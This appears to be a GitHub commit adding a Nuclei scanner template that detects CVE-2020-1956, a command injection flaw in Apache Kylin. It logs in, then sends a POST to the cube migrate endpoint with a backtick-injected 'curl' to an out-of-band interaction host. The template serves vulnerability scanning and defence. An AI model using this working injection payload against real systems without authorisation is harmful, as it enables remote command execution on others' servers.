Create CVE-2020-1956.yaml

patch-1
Prince Chaddha 2023-05-11 14:33:44 +05:30 committed by GitHub
parent 3721caee7a
commit 0d8aa48c87
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 47 additions and 0 deletions

View File

@ -0,0 +1,47 @@
id: CVE-2020-1956
info:
name: Apache Kylin 3.0.1 - Command Injection Vulnerability
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
Apache Kylin 2.3.0, and releases up to 2.6.5 and 3.0.1 has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation.
reference:
- https://community.sonarsource.com/t/apache-kylin-3-0-1-command-injection-vulnerability/25706
- https://nvd.nist.gov/vuln/detail/CVE-2020-1956
- http://www.openwall.com/lists/oss-security/2020/07/14/1
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2020-1956
cwe-id: CWE-78
epss-score: 0.97262
cpe: cpe:2.3:a:apache:kylin:*:*:*:*:*:*:*:*
tags: cve,cve2020,apache,kylin,rce,oast,kev
variables:
username: "{{username}}:"
password: "{{password}}"
http:
- raw:
- |
POST /kylin/api/user/authentication HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64('{{username}}:' + '{{password}}')}}
- |
POST /kylin/api/cubes/kylin_streaming_cube/%2031%60curl%20{{interactsh-url}}%60/migrate HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- dns
- http
condition: or